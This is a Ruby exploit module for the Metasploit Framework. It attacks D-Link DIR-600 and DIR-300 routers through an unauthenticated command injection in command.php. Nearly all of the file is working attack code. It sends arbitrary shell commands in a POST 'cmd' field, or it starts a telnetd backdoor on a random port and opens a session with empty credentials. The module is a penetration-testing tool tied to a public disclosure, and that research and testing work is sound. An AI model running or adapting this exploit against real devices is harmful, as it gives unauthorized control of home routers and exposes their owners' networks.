##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CommandShell

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'D-Link Devices Unauthenticated Remote Command Execution',
      'Description' => %q{
        Different D-Link Routers are vulnerable to OS command injection via the web
        interface. The vulnerability exists in command.php, which is accessible without
        authentication. This module has been tested with the versions DIR-600 2.14b01,
        DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service
        and establish a session over it, the second one runs commands via the CMD target.
        There is no wget or tftp client to upload an elf backdoor easily. According to the
        vulnerability discoverer, more D-Link devices may affected.
      },
      'Author'      =>
        [
          'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'OSVDB', '89861' ],
          [ 'EDB', '24453' ],
          [ 'BID', '57734' ],
          [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
          [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
        ],
      'DisclosureDate' => 'Feb 04 2013',
      'Privileged'     => true,
      'Platform'       => ['linux','unix'],
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          [ 'CMD',  #all devices
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Telnet',  #all devices - default target
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
        ],
      'DefaultTarget'  => 1
      ))
  end

  def exploit
    if target.name =~ /CMD/
      exploit_cmd
    else
      exploit_telnet
    end
  end

  def exploit_cmd
    if not (datastore['CMD'])
      fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
    end
    cmd = "#{payload.encoded}; echo end"
    print_status("#{rhost}:#{rport} - Sending exploit request...")
    res = request(cmd)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end

    if res.body.include?("end")
      print_good("#{rhost}:#{rport} - Exploited successfully\n")
      vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
      vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
    else
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end

    return
  end

  def exploit_telnet
    telnetport = rand(65535)

    print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")

    cmd = "telnetd -p #{telnetport}"

    #starting the telnetd gives no response
    print_status("#{rhost}:#{rport} - Sending exploit request...")
    request(cmd)

    begin
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

      if sock
        print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
        add_socket(sock)
      else
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
      end

      print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
      auth_info = {
        :host   => rhost,
        :port   => telnetport,
        :sname => 'telnet',
        :user   => "",
        :pass  => "",
        :source_type => "exploit",
        :active => true
      }
      report_auth_info(auth_info)
      merge_me = {
        'USERPASS_FILE' => nil,
        'USER_FILE'     => nil,
        'PASS_FILE'     => nil,
        'USERNAME'      => nil,
        'PASSWORD'      => nil
      }
      start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
    rescue
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
    end
    return
  end

  def request(cmd)

    uri = '/command.php'

    begin
      res = send_request_cgi({
        'uri'    => uri,
        'method' => 'POST',
        'vars_post' => {
          "cmd" => cmd
          }
      })
    return res
    rescue ::Rex::ConnectionError
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
    end
  end
end